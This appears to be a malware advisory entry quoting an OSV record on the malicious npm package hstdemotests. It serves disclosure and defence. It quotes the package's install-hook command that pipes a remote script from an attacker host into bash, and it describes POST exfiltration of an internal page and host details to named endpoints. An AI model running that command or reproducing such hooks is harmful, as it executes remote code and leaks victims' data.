cvelo
P2 · HighMalware

Malicious code in hstdemotests (npm)

  • MAL-2026-19949

Description

`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`.

Text from the OSV record.

Affected

  • hstdemotestsnpm

    • all versions, no fix listed

Timeline

  1. Published

Related news

No article from the followed outlets names this vulnerability.